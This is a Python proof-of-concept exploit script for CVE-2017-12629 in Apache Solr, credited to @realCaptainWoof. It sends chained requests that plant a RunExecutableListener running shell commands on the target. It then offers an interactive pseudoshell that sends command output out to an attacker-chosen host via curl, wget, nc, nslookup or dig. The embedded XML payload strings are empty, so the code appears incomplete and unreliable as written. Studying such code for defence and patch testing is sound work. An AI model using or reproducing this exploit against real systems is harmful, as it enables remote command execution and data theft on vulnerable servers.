from urllib.parse import quote as urlEncode import requests import random import urllib3 from urllib3.exceptions import InsecureRequestWarning import argparse # Suppress the InsecureRequestWarning specifically urllib3.disable_warnings(InsecureRequestWarning) ################## # HELPER FUNCTIONS ################## def createUrlForPayload(payload: str, urlBaseExternal: str): baseUrl = f"{urlBaseExternal}/page.aspx/en/PAYLOAD?ReturnUrl=/page.aspx/en/buy/homepage" # replace PAYLOAD #urlForPayload = baseUrl.replace("PAYLOAD", urlEncode(payload)) urlForPayload = baseUrl.replace("PAYLOAD", payload) return urlForPayload def executeCommand(urlBaseExternal: str, urlBaseInternal: str, commandBinary: str, commandArgs: list[str], commandCurDir: str): # Create New collection collectionName = f"collection{random.randint(100000000000, 999999999999)}" requests.get( url=createUrlForPayload( payload="""{!xmlparser v=''}""".replace("URL_BASE_INTERNAL", urlBaseInternal).replace("COLLECTION_NAME", collectionName), urlBaseExternal=urlBaseExternal ), verify=False ) print(f"New collection created: '{collectionName}'") # Add a new RunExecutableListener listenerName = f"listener{random.randint(100000000000, 999999999999)}" commandArgsProcessed = str(commandArgs).replace("'","\"") streamBodyInPayload = urlEncode("""{"add-listener":{"event":"postCommit","name":"LISTENER_NAME","class":"solr.RunExecutableListener","exe":"COMMAND_BINARY","dir":"COMMAND_CUR_DIR","args":COMMAND_ARGS}}""".replace("LISTENER_NAME", listenerName).replace("COMMAND_BINARY", commandBinary).replace("COMMAND_CUR_DIR", commandCurDir).replace("COMMAND_ARGS", commandArgsProcessed)) requests.get( url=createUrlForPayload( payload="""{!xmlparser v=''}""".replace("URL_BASE_INTERNAL", urlBaseInternal).replace("STREAM_BODY", streamBodyInPayload).replace("SHARDS", urlBaseInternal.lstrip("http://").lstrip("https://")), urlBaseExternal=urlBaseExternal ), verify=False ) print(f"New RunExecutableListener created: '{listenerName}'") # Update "newcollection" to trigger execution of RunExecutableListener randomId = f"id{random.randint(100000000000, 999999999999)}" streamBodyInPayload = urlEncode('[{"id":"RANDOM_ID"}]'.replace("RANDOM_ID", randomId)) requests.get( url=createUrlForPayload( payload="""{!xmlparser v=''}""".replace("STREAM_BODY", streamBodyInPayload).replace("URL_BASE_INTERNAL", urlBaseInternal).replace("ID_UPDATE", randomId), urlBaseExternal=urlBaseExternal ), verify=False ) print(f"Updating collection's ID to '{randomId}' to trigger command execution") ###### # MAIN ###### if __name__ == "__main__": parser = argparse.ArgumentParser() parser.description = "POC for CVE-2017-12629 (RCE via internal SSRF via XXE) by @realCaptainWoof" parser.add_argument("-ue", "--url-base-external", help="External URL base of the vulnerable application; e.g, 'https://vulnerable.app/solr'", action="store", required=True) parser.add_argument("-ui", "--url-base-internal", help="Internal URL base of the vulnerable application; e.g, 'https://127.0.0.1:8983'; default: 'https://127.0.0.1:8983'", action="store", required=True, default="https://127.0.0.1:8983") parser.add_argument("-b", "--bin", help="How to exfiltrate command output from target; default: 'curl'", choices=["curl", "wget", "ftp", "ping", "nc", "ncat", "nslookup", "dig"], default="curl", action='store') parser.add_argument("-e", "--exfil", help="Destination to exfil to. Make sure this corresponds to '--bin'; e.g, if '--bin' is 'curl', '--exfil' can be 'http://EXFIL.myserver.com/EXFIL'. Must specify injection point via 'EXFIL' keyword.", required=True) parser.add_argument("-f", "--exfil-format", help="Format in which to exfil the command output; default: 'base32'", choices=["hex", "base32"], default="base32") args = parser.parse_args() if "EXFIL" not in args.exfil: print("'--exfil' needs EXFIL keyword. Use '--help'.") exit(0) # Start pseudoshell try: while True: commandToExecute = input("$ ") # May contain args, no problem # Decide how to exfil command output commandArgEmbedded = "" exfilDestination = "" if args.exfil_format == "hex": exfilDestination = args.exfil.replace("EXFIL", f"$({commandToExecute} | xxd -p | tr -d '\\n')") else: exfilDestination = args.exfil.replace("EXFIL", f"$({commandToExecute} | base32 -w 0 | tr -d '=\\n')") if args.bin == "curl": commandArgEmbedded = f"curl -k -s {exfilDestination}" elif args.bin == "wget": commandArgEmbedded = f"wget -q --spider --no-check-certificate {exfilDestination}" elif args.bin == "ftp": commandArgEmbedded = f"echo \"quit\" | ftp -n -q 5 {exfilDestination}" elif args.bin == "ping": commandArgEmbedded = f"ping -c 1 -W 5 {exfilDestination}" elif args.bin == "nc": commandArgEmbedded = f"nc -z -w 5 {exfilDestination}" elif args.bin == "ncat": commandArgEmbedded = f"ncat -z -w 5 {exfilDestination}" elif args.bin == "nslookup": commandArgEmbedded = f"nslookup {exfilDestination}" elif args.bin == "dig": commandArgEmbedded = f"dig {exfilDestination}" # Need to try multiple times to succeed because OOB DNS exfiltration is finnicky (though command should get executed after just one attempt) for tryNum in range(0, 9): print(f"> Attempt #{tryNum + 1}") executeCommand( urlBaseExternal = args.url_base_external, urlBaseInternal = args.url_base_internal, commandBinary="sh", commandArgs=["-c", f"\"{commandArgEmbedded}\""], commandCurDir="/tmp" ) except KeyboardInterrupt: print("[+] Pseudoshell quit")